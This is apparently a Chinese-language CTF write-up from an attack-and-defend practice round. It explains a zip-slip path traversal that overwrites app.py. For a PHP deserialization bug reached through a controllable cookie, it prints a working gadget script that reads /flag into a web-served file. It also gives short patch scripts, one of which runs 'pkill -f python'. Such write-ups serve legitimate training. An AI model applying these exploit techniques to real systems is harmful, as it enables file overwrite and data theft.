Gentle_knife's Studio.

sparkctf-awdp-ciscn半决赛模拟

Word count: 315Reading time: 1 min
2026/03/17
loading

题目本身的漏洞

zip

直接使用 os.path.join 拼接路径,如果路径不存在还会帮忙创建,将压缩包里的文件命名为../../../app.py 覆盖源码即可。

qzone

管理员密码在这里

不知道为什么比赛环境上是没有文件上传功能的,自己跑的 docker 是有的

Controller.php 有反序列化,且 cookie 的user_pref 参数可控。

e 和 s 变量都为 true 的话,将 source 赋值 content,创建一个新文件,文件名为 cacheFile,内容为 content。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class FileCache
{
public $cacheDir;
public $cacheFile = '/var/www/html/flag1.txt';
public $expired = true;
public $source = '/flag';
public function __destruct()
{
if ($this->expired && $this->source) {
$content = file_get_contents($this->source);
if ($this->cacheFile) {
file_put_contents($this->cacheFile, $content);
}
}
}

}

$answer = new FileCache();
$a = base64_encode(serialize($answer));
echo $a;

AWDP 的比赛形式

其实就是比 CTF,先找到漏洞打出 flag 交了,然后改代码修复漏洞。

zip

不太会修

fix 就是一个.tar.gz 压缩包,里面有要替换的文件和一个脚本

1
2
3
#!/bin/sh
cp app.py /app/app.py
pkill -f python

pkill -f python 强制结束所有包含 “python” 关键字的进程

qzone

直接把 file_get_contents 这一行注释掉

1
2
#!/bin/sh
cp FileCache.php /var/www/html/core/FileCache.php
CATALOG
  1. 1. 题目本身的漏洞
    1. 1.1. zip
    2. 1.2. qzone
  2. 2. AWDP 的比赛形式
    1. 2.1. zip
    2. 2.2. qzone